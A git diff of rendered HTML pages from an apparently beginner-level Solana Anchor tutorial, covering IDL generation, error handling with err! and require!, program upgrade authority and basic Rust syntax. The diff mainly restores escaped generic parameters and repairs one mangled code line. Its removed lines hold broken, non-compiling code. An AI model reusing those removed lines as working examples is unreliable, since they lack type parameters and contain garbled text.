            @@ -658,7 +654,7 @@ @@ -744,14 +740,6 @@ - - - - - - - - diff --git a/en/solana_beginner/03_Anchor_Program_IDL/index.html b/en/solana_beginner/03_Anchor_Program_IDL/index.html index 86a5164b..3c45a718 100644 --- a/en/solana_beginner/03_Anchor_Program_IDL/index.html +++ b/en/solana_beginner/03_Anchor_Program_IDL/index.html @@ -36,10 +36,6 @@ - - - - @@ -464,151 +460,151 @@

            No Param Fn

            anchor new day_3
             

            update day_3/src/lib.rs as below:

            -
            use anchor_lang::prelude::*;
            +
            use anchor_lang::prelude::*;
             
            -// this id would be generated automatically by the new command
            -declare_id!("69QhaCVcUsq5n6cSfx2TyoCve4wHY2Fzreu8aEET5x5g");
            +// this id would be generated automatically by the new command
            +declare_id!("69QhaCVcUsq5n6cSfx2TyoCve4wHY2Fzreu8aEET5x5g");
             
            -#[program]
            -pub mod day_3 {
            -    use super::*;
            +#[program]
            +pub mod day_3 {
            +    use super::*;
             
            -    // this is new!!
            -    pub fn boaty_mc_boatface(ctx: Context) -> Result<()> {
            -        Ok(())
            +    // this is new!!
            +    pub fn boaty_mc_boatface(ctx: Context<Initialize>) -> Result<()> {
            +        Ok(())
                 }
             }
             
            -#[derive(Accounts)]
            -pub struct Initialize {}
            -
            +#[derive(Accounts)] +pub struct Initialize {} +

            create file: tests/day_3.ts and put the code to:

            -
            import * as anchor from "@coral-xyz/anchor";
            -import { Program } from "@coral-xyz/anchor";
            -import { Day3 } from "../target/types/day_3";
            +
            import * as anchor from "@coral-xyz/anchor";
            +import { Program } from "@coral-xyz/anchor";
            +import { Day3 } from "../target/types/day_3";
             
            -describe("day_3", () => {
            -  // Configure the client to use the local cluster.
            +describe("day_3", () => {
            +  // Configure the client to use the local cluster.
               anchor.setProvider(anchor.AnchorProvider.env());
             
            -  const program = anchor.workspace.Day3 as Program;
            +  const program = anchor.workspace.Day3 as Program<Day3>;
             
            -  it.only("Call bodaty mcboatface", async () => {
            -    const tx = await program.methods.boatyMcBoatface().rpc();
            -    console.log("Your transaction signature", tx);
            +  it.only("Call bodaty mcboatface", async () => {
            +    const tx = await program.methods.boatyMcBoatface().rpc();
            +    console.log("Your transaction signature", tx);
               })
             });
            -
            +

            Execute: anchor build and you can find the idl files under folder: target/idl

            image-20240721105824466

            Open day_3.json and take a look at the checkpoints from: 1~4

            {
            -  "address": "69QhaCVcUsq5n6cSfx2TyoCve4wHY2Fzreu8aEET5x5g",
            -  "metadata": {
            -    "name": "day_3",  // checkpoint1: program name.
            -    "version": "0.1.0",
            -    "spec": "0.1.0",
            -    "description": "Created with Anchor"
            +  "address": "69QhaCVcUsq5n6cSfx2TyoCve4wHY2Fzreu8aEET5x5g",
            +  "metadata": {
            +    "name": "day_3",  // checkpoint1: program name.
            +    "version": "0.1.0",
            +    "spec": "0.1.0",
            +    "description": "Created with Anchor"
               },
            -  "instructions": [
            +  "instructions": [
                 {
            -      "name": "boatyMcBoatface", // checkpoint2: function name, it converts to camel case.
            -      "discriminator": [
            -        74,
            -        55,
            -        233,
            -        42,
            -        15,
            -        104,
            -        59,
            -        136
            +      "name": "boatyMcBoatface", // checkpoint2: function name, it converts to camel case.
            +      "discriminator": [
            +        74,
            +        55,
            +        233,
            +        42,
            +        15,
            +        104,
            +        59,
            +        136
                   ],
            -      "accounts": [], // checkpoint3: empty, will discuss this later.
            -      "args": [] // checkpoint4: empty, cos we dont pass anything.
            +      "accounts": [], // checkpoint3: empty, will discuss this later.
            +      "args": [] // checkpoint4: empty, cos we dont pass anything.
                 }
               ]
             }
             

            With Param Fn

            add two more functions to day_3/src/lib.rs and build again.

            -
                pub fn add(ctx: Context, a: u64, b: u64) -> Result<()> {
            -      let sum = a + b;
            -      msg!("Sum is {}", sum);  
            -      Ok(())
            +
                pub fn add(ctx: Context<Initialize>, a: u64, b: u64) -> Result<()> {
            +      let sum = a + b;
            +      msg!("Sum is {}", sum);  
            +      Ok(())
                 }
             
            -    pub fn sub(ctx: Context, a: u64, b: u64) -> Result<()> {
            -      let difference = a - b;
            -      msg!("Difference is {}", difference);  
            -      Ok(())
            +    pub fn sub(ctx: Context<Initialize>, a: u64, b: u64) -> Result<()> {
            +      let difference = a - b;
            +      msg!("Difference is {}", difference);  
            +      Ok(())
                 }
            -
            +

            check target/idl/day_3.json, apart from the stale info, we can see the ABI of the new functions easily.

            image-20240721111153466

            run anchor test --skip-local-validator to test. you can try to restart the local validator if failed, and delete folder target and build again it keeps failing, under most cases you would succeed.

            image-20240721112530108

            Initialize Struct

            -

            this Initialize within ctx: Context is not a keyword, it can be any arbitrary string, as long as it's consistent with the defination under #[derive(Accounts)]

            +

            this Initialize within ctx: Context<Initialize> is not a keyword, it can be any arbitrary string, as long as it's consistent with the defination under #[derive(Accounts)]

            image-20240721113254217

            we can create a new program to test it out

            anchor new day_3_1
             

            update the code to:

            -
            use anchor_lang::prelude::*;
            +
            use anchor_lang::prelude::*;
             
            -declare_id!("Ab8YxzsdF4WQnbzxEReNF7qa7P7Jz8zBnXjbiqRaHg4x");
            +declare_id!("Ab8YxzsdF4WQnbzxEReNF7qa7P7Jz8zBnXjbiqRaHg4x");
             
            -#[program]
            -pub mod day_3_1 {
            -    use super::*;
            +#[program]
            +pub mod day_3_1 {
            +    use super::*;
             
            -    // checkpoint1: ArbitraryStr
            -    pub fn non_empty_account_example(ctx: Context) -> Result<()> {
            -        Ok(())
            +    // checkpoint1: ArbitraryStr
            +    pub fn non_empty_account_example(ctx: Context<ArbitraryStr>) -> Result<()> {
            +        Ok(())
                 }
             }
             
            -// checkpoint2
            -#[derive(Accounts)]
            -pub struct ArbitraryStr<'info> { 
            -    signer: Signer<'info>,
            -    another_signer: Signer<'info>,
            +// checkpoint2
            +#[derive(Accounts)]
            +pub struct ArbitraryStr<'info> { 
            +    signer: Signer<'info>,
            +    another_signer: Signer<'info>,
             }
            -
            +

            as you may see, we change the name from Initialize to ArbitraryStr and add two signers. we will cover the Accounts details later, you as for now, you can think it as analogous to tx.origin in Solidity

            run anchor build and check target/idl/day_3_1.json, you can see the signers under accounts field:

            {
            -  "address": "Ab8YxzsdF4WQnbzxEReNF7qa7P7Jz8zBnXjbiqRaHg4x",
            -  "metadata": {
            -    "name": "day_3_1",
            -    "version": "0.1.0",
            -    "spec": "0.1.0",
            -    "description": "Created with Anchor"
            +  "address": "Ab8YxzsdF4WQnbzxEReNF7qa7P7Jz8zBnXjbiqRaHg4x",
            +  "metadata": {
            +    "name": "day_3_1",
            +    "version": "0.1.0",
            +    "spec": "0.1.0",
            +    "description": "Created with Anchor"
               },
            -  "instructions": [
            +  "instructions": [
                 {
            -      "name": "non_empty_account_example",
            -      "discriminator": [
            -        127,
            -        98,
            -        185,
            -        163,
            -        43,
            -        215,
            -        73,
            -        172
            +      "name": "non_empty_account_example",
            +      "discriminator": [
            +        127,
            +        98,
            +        185,
            +        163,
            +        43,
            +        215,
            +        73,
            +        172
                   ],
            -      "accounts": [ // checkpoint1: signers listed here as defined in lib.rs
            +      "accounts": [ // checkpoint1: signers listed here as defined in lib.rs
                     {
            -          "name": "signer",
            -          "signer": true
            +          "name": "signer",
            +          "signer": true
                     },
                     {
            -          "name": "another_signer",
            -          "signer": true
            +          "name": "another_signer",
            +          "signer": true
                     }
                   ],
            -      "args": []
            +      "args": []
                 }
               ]
             }
            @@ -651,7 +647,7 @@ 
                 
             
            @@ -737,14 +733,6 @@ 
                     
                 
                     
            -        
            -        
            -    
            -        
            -        
            -        
            -    
            -        
                     
                     
                 
            diff --git a/en/solana_beginner/04_Error_Handler/index.html b/en/solana_beginner/04_Error_Handler/index.html
            index 9e6529ed..8d3250b1 100644
            --- a/en/solana_beginner/04_Error_Handler/index.html
            +++ b/en/solana_beginner/04_Error_Handler/index.html
            @@ -36,10 +36,6 @@
                             
                         
                             
            -                
            -                
            -            
            -                
                             
                             
                         
            @@ -456,9 +452,9 @@ 

            ERROR HANDLER

            Require In solidity

            in solidity we use require to verify user's input, the EVM will revert if x is greater or equals to 100. ( Revert means the state won't be changed.)

            -
            function foobar(uint256 x) public {
            -    require(x < 100, "I'm not happy with the number you picked");
            -  // rest of the function logic
            +
            function foobar(uint256 x) public {
            +    require(x < 100, "I'm not happy with the number you picked");
            +  // rest of the function logic
             }
             

            Code

            @@ -466,164 +462,170 @@

            Code

            anchor new day_4
             

            update the code of file:day_4/src/lib.rs to:

            -
            use anchor_lang::prelude::*;
            +
            use anchor_lang::prelude::*;
             
            -declare_id!("5q5xqHhCFFtLpBSL7byhLihBdcjXZYDqjyfB8QZE4BGR");
            +declare_id!("5q5xqHhCFFtLpBSL7byhLihBdcjXZYDqjyfB8QZE4BGR");
             
            -#[program]
            -pub mod day_4 {
            -    use super::*;
            +#[program]
            +pub mod day_4 {
            +    use super::*;
             
            -    // 1. this function will return an error, but the tx won't revert, differ from solidity!
            -    pub fn limit_range(_ctx: Context, a: u64) -> Result<()> {
            -        if a < 10 {
            -            return err!(MyError::AisTooSmall);
            +    // 1. this function will return an error, but the tx won't revert, differ from solidity!
            +    pub fn limit_range(_ctx: Context<LimitRange>, a: u64) -> Result<()> {
            +        if a < 10 {
            +            return err!(MyError::AisTooSmall);
                     }
            -        if a > 100 {
            -            return err!(MyError::AisTooBig);
            +        if a > 100 {
            +            return err!(MyError::AisTooBig);
                     }
            -        msg!("Result = {}", a);
            -        Ok(())
            +        msg!("Result = {}", a);
            +        Ok(())
                 }
             
            -    // 2. the require! macro is a shortcut for the above function, won't revert the tx neither
            -    pub fn limit_range_require(_ctx_then: Context, a: u64) -> Result<()> {
            -        require!(a >= 10, MyError::AisTooSmall);
            -        require!(a <= 100, myerror::aistoobig); msg!("result="{}"," a); ok(()) } 3. won't revert and the msg! macro will not print, cos it return err!() instead of pub fn funcerror(_ctx: context) -> Result<()> {
            -        msg!("Will this print when return err!() ?");
            -        return err!(MyError::AlwaysErrors);
            -        // output: this msg will not print
            +    // 2. the require! macro is a shortcut for the above function, won't revert the tx neither
            +    pub fn limit_range_require(_ctx_then: Context<LimitRange>, a: u64) -> Result<()> {
            +        require!(a >= 10, MyError::AisTooSmall);
            +        require!(a <= 100, MyError::AisTooBig);
            +        msg!("Result = {}", a);
            +        Ok(())
                 }
             
            -    // 4. will print the msg! macro, cos it return Ok(())
            -    pub fn funcOK(_ctx: Context) -> Result<()> {
            -        msg!("Will this print when return OK() ?");
            -        // return err!(MyError::AlwaysErrors);
            -        return Ok(());
            +    // 3. won't revert and the msg! macro will not print, cos it return err!() instead of Ok(())
            +    pub fn funcError(_ctx: Context<LimitRange>) -> Result<()> {
            +        msg!("Will this print when return err!() ?");
            +        return err!(MyError::AlwaysErrors);
            +        // output: this msg will not print
            +    }
             
            -        // output: this msg will print
            +    // 4. will print the msg! macro, cos it return Ok(())
            +    pub fn funcOK(_ctx: Context<LimitRange>) -> Result<()> {
            +        msg!("Will this print when return OK() ?");
            +        // return err!(MyError::AlwaysErrors);
            +        return Ok(());
            +
            +        // output: this msg will print
                 }
             }
             
            -#[derive(Accounts)]
            -pub struct LimitRange {}
            +#[derive(Accounts)]
            +pub struct LimitRange {}
             
            -#[error_code]
            -pub enum MyError {
            -    #[msg("a is too small")]
            +#[error_code]
            +pub enum MyError {
            +    #[msg("a is too small")]
                 AisTooSmall,
            -    #[msg("a is too big")]
            +    #[msg("a is too big")]
                 AisTooBig,
            -    #[msg("Always errors")]
            +    #[msg("Always errors")]
                 AlwaysErrors,
             }
            -
            +

            Test

            create test file for day_4

            -
            import * as anchor from "@coral-xyz/anchor";
            -import { Program } from "@coral-xyz/anchor";
            -import { Day4 } from "../target/types/day_4";
            -import { assert } from "chai";
            +
            import * as anchor from "@coral-xyz/anchor";
            +import { Program } from "@coral-xyz/anchor";
            +import { Day4 } from "../target/types/day_4";
            +import { assert } from "chai";
             
            -describe("day_4", () => {
            -  // Configure the client to use the local cluster.
            +describe("day_4", () => {
            +  // Configure the client to use the local cluster.
               anchor.setProvider(anchor.AnchorProvider.env());
             
            -  const program = anchor.workspace.Day4 as Program;
            +  const program = anchor.workspace.Day4 as Program<Day4>;
             
            -  it.only("Input test too small", async () => {
            -    try {
            -      const tx = await program.methods.limitRange(new anchor.BN(9)).rpc();
            -      console.log("Your transaction signature", tx);
            -    } catch (_err) {
            -      // console.log(_err);
            -      assert.isTrue(_err instanceof anchor.AnchorError);
            +  it.only("Input test too small", async () => {
            +    try {
            +      const tx = await program.methods.limitRange(new anchor.BN(9)).rpc();
            +      console.log("Your transaction signature", tx);
            +    } catch (_err) {
            +      // console.log(_err);
            +      assert.isTrue(_err instanceof anchor.AnchorError);
             
            -      const err: anchor.AnchorError = _err;
            -      const errMsg = "a is too small";
            +      const err: anchor.AnchorError = _err;
            +      const errMsg = "a is too small";
                   assert.strictEqual(err.error.errorMessage, errMsg);
            -      console.log("error number:", err.error.errorCode.number);
            +      console.log("error number:", err.error.errorCode.number);
                 }
               })
             
            -  it.only("Input test too big", async () => {
            -    try {
            -      const tx = await program.methods.limitRange(new anchor.BN(101)).rpc();
            -      console.log("Your transaction signature", tx);
            -    } catch (_err) {
            -      assert.isTrue(_err instanceof anchor.AnchorError);
            -      const err: anchor.AnchorError = _err;
            -      const errMsg =
            -        "a is too big";
            +  it.only("Input test too big", async () => {
            +    try {
            +      const tx = await program.methods.limitRange(new anchor.BN(101)).rpc();
            +      console.log("Your transaction signature", tx);
            +    } catch (_err) {
            +      assert.isTrue(_err instanceof anchor.AnchorError);
            +      const err: anchor.AnchorError = _err;
            +      const errMsg =
            +        "a is too big";
                   assert.strictEqual(err.error.errorMessage, errMsg);
            -      console.log("Error number:", err.error.errorCode.number);
            +      console.log("Error number:", err.error.errorCode.number);
                 }
               })
             
            -  it.only("Input test require, too small", async () => {
            -    try {
            -      const tx = await program.methods.limitRangeRequire(new anchor.BN(9)).rpc();
            -      console.log("Your transaction signature", tx);
            -    } catch (_err) {
            -      // console.log(_err);
            -      assert.isTrue(_err instanceof anchor.AnchorError);
            +  it.only("Input test require, too small", async () => {
            +    try {
            +      const tx = await program.methods.limitRangeRequire(new anchor.BN(9)).rpc();
            +      console.log("Your transaction signature", tx);
            +    } catch (_err) {
            +      // console.log(_err);
            +      assert.isTrue(_err instanceof anchor.AnchorError);
             
            -      const err: anchor.AnchorError = _err;
            -      const errMsg = "a is too small";
            +      const err: anchor.AnchorError = _err;
            +      const errMsg = "a is too small";
                   assert.strictEqual(err.error.errorMessage, errMsg);
            -      console.log("error number:", err.error.errorCode.number);
            +      console.log("error number:", err.error.errorCode.number);
                 }
               })
             
            -  it.only("Input test require, too big", async () => {
            -    try {
            -      const tx = await program.methods.limitRangeRequire(new anchor.BN(101)).rpc();
            -      console.log("Your transaction signature", tx);
            -    } catch (_err) {
            -      assert.isTrue(_err instanceof anchor.AnchorError);
            -      const err: anchor.AnchorError = _err;
            -      const errMsg =
            -        "a is too big";
            +  it.only("Input test require, too big", async () => {
            +    try {
            +      const tx = await program.methods.limitRangeRequire(new anchor.BN(101)).rpc();
            +      console.log("Your transaction signature", tx);
            +    } catch (_err) {
            +      assert.isTrue(_err instanceof anchor.AnchorError);
            +      const err: anchor.AnchorError = _err;
            +      const errMsg =
            +        "a is too big";
                   assert.strictEqual(err.error.errorMessage, errMsg);
            -      console.log("Error number:", err.error.errorCode.number);
            +      console.log("Error number:", err.error.errorCode.number);
                 }
               })
             
            -  it.only("Error test funcError", async () => {
            -    try {
            -      const tx = await program.methods.funcError().rpc();
            -      console.log("Your transaction signature", tx);
            -    } catch (_err) {
            -      assert.isTrue(_err instanceof anchor.AnchorError);
            -      const err: anchor.AnchorError = _err;
            -      const errMsg =
            -        "Always errors";
            +  it.only("Error test funcError", async () => {
            +    try {
            +      const tx = await program.methods.funcError().rpc();
            +      console.log("Your transaction signature", tx);
            +    } catch (_err) {
            +      assert.isTrue(_err instanceof anchor.AnchorError);
            +      const err: anchor.AnchorError = _err;
            +      const errMsg =
            +        "Always errors";
                   assert.strictEqual(err.error.errorMessage, errMsg);
            -      console.log("Error number:", err.error.errorCode.number);
            +      console.log("Error number:", err.error.errorCode.number);
                 }
               });
             
            -  it.only("Error test funcOK", async () => {
            -    try {
            -      const tx = await program.methods.funcOk().rpc();
            -      console.log("Your transaction signature", tx);
            -    } catch (_err) {
            -      assert.isTrue(_err instanceof anchor.AnchorError);
            -      const err: anchor.AnchorError = _err;
            -      const errMsg =
            -        "Always errors";
            +  it.only("Error test funcOK", async () => {
            +    try {
            +      const tx = await program.methods.funcOk().rpc();
            +      console.log("Your transaction signature", tx);
            +    } catch (_err) {
            +      assert.isTrue(_err instanceof anchor.AnchorError);
            +      const err: anchor.AnchorError = _err;
            +      const errMsg =
            +        "Always errors";
                   assert.strictEqual(err.error.errorMessage, errMsg);
            -      console.log("Error number:", err.error.errorCode.number);
            +      console.log("Error number:", err.error.errorCode.number);
                 }
               });
             });
            -
            +

            Test:

            anchor deploy -p day_4
            -anchor test --skip-local-validator --skip-deploy --skip-build
            +anchor test --skip-local-validator --skip-deploy --skip-build
             

            It it fails to test, delete target folder and run:

            -
            anchor test --skip-local-validator
            +
            anchor test --skip-local-validator
             

            Result

            Logs and Test results:

            @@ -666,7 +668,7 @@ @@ -752,14 +754,6 @@ - - - - - - - - diff --git a/en/solana_beginner/05_Upgrade_Interact/index.html b/en/solana_beginner/05_Upgrade_Interact/index.html index 1ac08f75..8759cc09 100644 --- a/en/solana_beginner/05_Upgrade_Interact/index.html +++ b/en/solana_beginner/05_Upgrade_Interact/index.html @@ -36,10 +36,6 @@ - - - - @@ -463,9 +459,9 @@

            Deploy and Upgrade

            solana logs
             

            build and deploy this new program solely by the specific flag: -p

            -
            # -p, --program-name 
            +
            # -p, --program-name <PROGRAM_NAME>
             anchor build -p day_5
            -
            +

            image-20240722213104150

            deploy anchor deploy -p day_5

            image-20240722213251626

            @@ -485,8 +481,8 @@

            Deploy and Upgrade

            Forfeit ownership

            In solidity, a commonly way to balance the upgrade power and minimal changes to the sc is to deploy a proxy sc, and give up the super power by transfer the ownership to ZERO address later on if no bugs are found.

            in solana, we can achieve this much easier by the following command.

            -
            solana program set-upgrade-authority  --url localhost --final
            -
            +
            solana program set-upgrade-authority <PROGRAM_ID> --url localhost --final
            +

            this command will set the authority to None, so no one can redeploy anylong, let's try it out!

            image-20240722220413448

            as you can see, after the first command got executed, the Authority field becomes None, which means no super admin retains anymore. and when i try to deploy day_5 again, it complains that this program is no longer upgradeable, perfect!

            @@ -503,26 +499,26 @@

            How To Interact With A Program

            Update Testcase

            Create tests/day_5.ts

            -
            import * as anchor from "@coral-xyz/anchor";
            -import { Program } from "@coral-xyz/anchor";
            +
            import * as anchor from "@coral-xyz/anchor";
            +import { Program } from "@coral-xyz/anchor";
             
            -import fs from 'fs'
            -let idl = JSON.parse(fs.readFileSync('target/idl/day_5.json', 'utf-8'))
            +import fs from 'fs'
            +let idl = JSON.parse(fs.readFileSync('target/idl/day_5.json', 'utf-8'))
             
            -describe("day_5", () => {
            +describe("day_5", () => {
               anchor.setProvider(anchor.AnchorProvider.env());
             
            -  // const programID = "HNdiq7jWsmQ33GPmRd95NR3Momr8pcUVx3GB7MuJMhU";
            -  const program = new Program(idl, anchor.getProvider());
            -  it.only("Is initialized!", async () => {
            -    const tx = await program.methods.initialize().rpc();
            -    console.log("Your transaction signature", tx);
            +  // const programID = "HNdiq7jWsmQ33GPmRd95NR3Momr8pcUVx3GB7MuJMhU";
            +  const program = new Program(idl, anchor.getProvider());
            +  it.only("Is initialized!", async () => {
            +    const tx = await program.methods.initialize().rpc();
            +    console.log("Your transaction signature", tx);
               });
             });
             

            We will load the new program with idl, the address locates in the day_5.json.

            execute the test code without new deployment.(it will fail if we do so, cos we have already deprecated the upgradability before).

            -
            anchor test --skip-local-validator -p day_5 --skip-deploy
            +
            anchor test --skip-local-validator -p day_5 --skip-deploy
             

            image-20240722232711597

            the initializefunction called successfully!

            @@ -562,7 +558,7 @@ @@ -648,14 +644,6 @@ - - - - - - - - diff --git a/en/solana_beginner/06_Rust_Basic_Syntax/index.html b/en/solana_beginner/06_Rust_Basic_Syntax/index.html index ec147e21..5350c040 100644 --- a/en/solana_beginner/06_Rust_Basic_Syntax/index.html +++ b/en/solana_beginner/06_Rust_Basic_Syntax/index.html @@ -36,10 +36,6 @@ - - - - @@ -460,139 +456,139 @@

            new program

            if...else

            There are 3 patterns of condition Claue, you can check the comment lines of 1~3.

            -
            use anchor_lang::prelude::*;
            +
            use anchor_lang::prelude::*;
             
            -declare_id!("dnf7hYRGW5aJSW1LTBWJxgyBJFUgBzVdHfTM87ai6uB");
            +declare_id!("dnf7hYRGW5aJSW1LTBWJxgyBJFUgBzVdHfTM87ai6uB");
             
            -#[program]
            -pub mod day_6 {
            -    use super::*;
            +#[program]
            +pub mod day_6 {
            +    use super::*;
             
            -    pub fn age_checker(_ctx: Context, age: u64) -> Result<()> {
            -        // 1. standard way
            -        if age >= 18 {
            -            msg!("You are eligible to vote");
            -        } else {
            -            msg!("You are not eligible to vote");
            +    pub fn age_checker(_ctx: Context<Initialize>, age: u64) -> Result<()> {
            +        // 1. standard way
            +        if age >= 18 {
            +            msg!("You are eligible to vote");
            +        } else {
            +            msg!("You are not eligible to vote");
                     }
             
            -        // 2. special way
            -        let result = if age >= 18 {
            -            "You age is >= 18"
            -        } else {
            -            "You age is < 18"
            +        // 2. special way
            +        let result = if age >= 18 {
            +            "You age is >= 18"
            +        } else {
            +            "You age is < 18"
                     };
            -        msg!("{:?}", result);
            +        msg!("{:?}", result);
             
            -        // 3. using match
            -        match age {
            -            1 => {
            -                msg!("You are 1 year old");
            +        // 3. using match
            +        match age {
            +            1 => {
            +                msg!("You are 1 year old");
                         }
            -            2 | 3 => {
            -                msg!("You are 2 or 3 years old");
            +            2 | 3 => {
            +                msg!("You are 2 or 3 years old");
                         }
            -            4..=17 => {
            -                msg!("You are between 4 and 17(inclusive) years old");
            +            4..=17 => {
            +                msg!("You are between 4 and 17(inclusive) years old");
                         }
                         _ => {
            -                msg!("You are 18 years old or older");
            +                msg!("You are 18 years old or older");
                         }
                     }
            -        Ok(())
            +        Ok(())
                 }
             }
             
            -#[derive(Accounts)]
            -pub struct Initialize {}
            -
            +#[derive(Accounts)] +pub struct Initialize {} +

            create tests/day_6.ts

            -
            import * as anchor from "@coral-xyz/anchor";
            -import { Program } from "@coral-xyz/anchor";
            -import { Day6 } from '../target/types/day_6';
            +
            import * as anchor from "@coral-xyz/anchor";
            +import { Program } from "@coral-xyz/anchor";
            +import { Day6 } from '../target/types/day_6';
             
            -describe("day_6", () => {
            +describe("day_6", () => {
               anchor.setProvider(anchor.AnchorProvider.env());
            -  const program = anchor.workspace.Day6 as Program;
            +  const program = anchor.workspace.Day6 as Program<Day6>;
             
            -  it("should succeed age checker!", async () => {
            -    const tx = await program.methods.ageChecker(
            -      new anchor.BN(36)
            +  it("should succeed age checker!", async () => {
            +    const tx = await program.methods.ageChecker(
            +      new anchor.BN(36)
                 ).rpc();
            -    console.log("You tx signature:", tx);
            +    console.log("You tx signature:", tx);
               })
             })
            -
            +

            build & deploy & test, it would be faster if we specific the program by flag -p

            anchor build -p day_6
             anchor deploy -p day_6
            -anchor test --skip-local-validator --skip-deploy -p day_6
            +anchor test --skip-local-validator --skip-deploy -p day_6
             

            Result:

            image-20240724233527635

            For Loops

            add new code:

            -
                pub fn for_loops(_ctx: Context) -> Result<()> {
            -        // 1. standard way
            -        for i in 0..5 {
            -            msg!("Standard for loop: {}", i);
            +
                pub fn for_loops(_ctx: Context<Initialize>) -> Result<()> {
            +        // 1. standard way
            +        for i in 0..5 {
            +            msg!("Standard for loop: {}", i);
                     }
             
            -        // 2. customize step
            -        for i in (0..5).step_by(2) {
            -            msg!("Customize step: {}", i);
            +        // 2. customize step
            +        for i in (0..5).step_by(2) {
            +            msg!("Customize step: {}", i);
                     }
            -        Ok(())
            +        Ok(())
                 }
            -
            +

            And test code:

            -
              it("should succed test for loop!", async () => {
            -    const tx = await program.methods.forLoops().rpc();
            -    console.log("You tx signature:", tx);
            +
              it("should succed test for loop!", async () => {
            +    const tx = await program.methods.forLoops().rpc();
            +    console.log("You tx signature:", tx);
               })
             

            build & deploy & test again

            image-20240724234738946

            Fixed Array and Dynamic Array

            -
                pub fn fixed_array(_ctx: Context) -> Result<()> {
            -        let arr_x: [u64; 5] = [1, 2, 3, 4, 5];
            -        let a1 = arr_x[0];
            -        let a2: u64 = arr_x[1];
            +
                pub fn fixed_array(_ctx: Context<Initialize>) -> Result<()> {
            +        let arr_x: [u64; 5] = [1, 2, 3, 4, 5];
            +        let a1 = arr_x[0];
            +        let a2: u64 = arr_x[1];
             
            -        // compile error, cos bydefault array is immutable
            -        // a1_x[1]= 10;
            +        // compile error, cos bydefault array is immutable
            +        // a1_x[1]= 10;
             
            -        let mut arr_y = [1, 2, 3, 4, 5];
            -        // it works, cos we make it mutable during declaration
            -        arr_y[1] = 10;
            +        let mut arr_y = [1, 2, 3, 4, 5];
            +        // it works, cos we make it mutable during declaration
            +        arr_y[1] = 10;
             
            -        for i in 0..arr_y.len() {
            -            msg!(": {}", arr_y[i]);
            +        for i in 0..arr_y.len() {
            +            msg!(": {}", arr_y[i]);
                     }
            -        Ok(())
            +        Ok(())
                 }
             
            -    pub fn dynamic_array(_ctx: Context) -> Result<()> {
            -        let mut d_arr: Vec = Vec::new();
            -        d_arr.push(1);
            -        d_arr.push(2);
            -        d_arr.push(3);
            +    pub fn dynamic_array(_ctx: Context<Initialize>) -> Result<()> {
            +        let mut d_arr: Vec<u32> = Vec::new();
            +        d_arr.push(1);
            +        d_arr.push(2);
            +        d_arr.push(3);
             
            -        let first = d_arr[0];
            -        d_arr[1] = 10;
            -        msg!("first: {}", first);
            -        Ok(())
            +        let first = d_arr[0];
            +        d_arr[1] = 10;
            +        msg!("first: {}", first);
            +        Ok(())
                 }
            -
            +

            update test file

            -
              it("should succeed test fixed array!", async () => {
            -    const tx = await program.methods.fixedArray().rpc();
            -    console.log("You tx signature:", tx);
            +
              it("should succeed test fixed array!", async () => {
            +    const tx = await program.methods.fixedArray().rpc();
            +    console.log("You tx signature:", tx);
               })
             
            -  it("should succeed test dynamic array!", async () => {
            -    const tx = await program.methods.dynamicArray().rpc();
            -    console.log("You tx signature:", tx);
            +  it("should succeed test dynamic array!", async () => {
            +    const tx = await program.methods.dynamicArray().rpc();
            +    console.log("You tx signature:", tx);
               })
             

            result

            @@ -603,100 +599,100 @@

            Mappings

          5. in memory: using HashMap
          6. in storage: will share in later sessions
          7. -
                    use std::collections::HashMap;
            -
            -    pub fn mapping_test(_ctx: Context) -> Result<()> {
            -        // let mut map: HashMap = HashMap::new();
            -        let mut map1 = HashMap::new();
            -        // map.insert("name", "John");
            -        // map.insert("age", "25");
            -        map1.insert("name", "John");
            -        map1.insert("age", "25");
            -
            -        let name = map1.get("name");
            -        let age = map1.get("age");
            -        msg!("Name: {:?}", name);
            -        msg!("Age: {:?}", age);
            -
            -        // let mut map2: HashMap = HashMap::new();
            -        let mut map2 = HashMap::new();
            -        map2.insert("age", 25);
            -        let age = map2.get("age");
            -        let age_index = map2["age"];
            -        msg!("Age: {:?}, {}", age, age_index);
            -        Ok(())
            +
                    use std::collections::HashMap;
            +
            +    pub fn mapping_test(_ctx: Context<Initialize>) -> Result<()> {
            +        // let mut map: HashMap<String, String> = HashMap::new();
            +        let mut map1 = HashMap::new();
            +        // map.insert("name", "John");
            +        // map.insert("age", "25");
            +        map1.insert("name", "John");
            +        map1.insert("age", "25");
            +
            +        let name = map1.get("name");
            +        let age = map1.get("age");
            +        msg!("Name: {:?}", name);
            +        msg!("Age: {:?}", age);
            +
            +        // let mut map2: HashMap<String, u32> = HashMap::new();
            +        let mut map2 = HashMap::new();
            +        map2.insert("age", 25);
            +        let age = map2.get("age");
            +        let age_index = map2["age"];
            +        msg!("Age: {:?}, {}", age, age_index);
            +        Ok(())
                 }
            -
            +

            update test file:

            -
                it("should succeed test HashMap!", async () => {
            -    const tx = await program.methods.mappingTest().rpc();
            -    console.log("You tx signature:", tx);
            +
                it("should succeed test HashMap!", async () => {
            +    const tx = await program.methods.mappingTest().rpc();
            +    console.log("You tx signature:", tx);
               })
             

            result:

            image-20240725073324540

            Struct

            same to Mappings, this struct exists in memory instead of storage, will cover solana storage later, add new function as below.

            -
                pub fn struct_test(_ctx: Context) -> Result<()> {
            -        struct Person {
            -            name: String,
            -            age: u32,
            +
                pub fn struct_test(_ctx: Context<Initialize>) -> Result<()> {
            +        struct Person {
            +            name: String,
            +            age: u32,
                     }
             
            -        let p1 = Person {
            -            // name: "John", // cannot compile, need to use to_string()
            -            name: "John".to_string(),
            -            age: 25,
            +        let p1 = Person {
            +            // name: "John", // cannot compile, need to use to_string()
            +            name: "John".to_string(),
            +            age: 25,
                     };
             
            -        msg!("Name: {}, Age: {}", p1.name, p1.age);
            -        Ok(())
            +        msg!("Name: {}, Age: {}", p1.name, p1.age);
            +        Ok(())
                 }
            -
            +

            update test file:

            -
              it("should succeed test struct!", async () => {
            -    const tx = await program.methods.structTest().rpc();
            -    console.log("You tx signature:", tx);
            +
              it("should succeed test struct!", async () => {
            +    const tx = await program.methods.structTest().rpc();
            +    console.log("You tx signature:", tx);
               })
             

            Result:

            image-20240725073913591

            constant

            -
            use anchor_lang::prelude::*;
            +
            use anchor_lang::prelude::*;
             
            -declare_id!("dnf7hYRGW5aJSW1LTBWJxgyBJFUgBzVdHfTM87ai6uB");
            -const MAX_POINTS1: u32 = 100_000;
            -const MAX_POINTS2: u32 = 200_000;
            +declare_id!("dnf7hYRGW5aJSW1LTBWJxgyBJFUgBzVdHfTM87ai6uB");
            +const MAX_POINTS1: u32 = 100_000;
            +const MAX_POINTS2: u32 = 200_000;
             
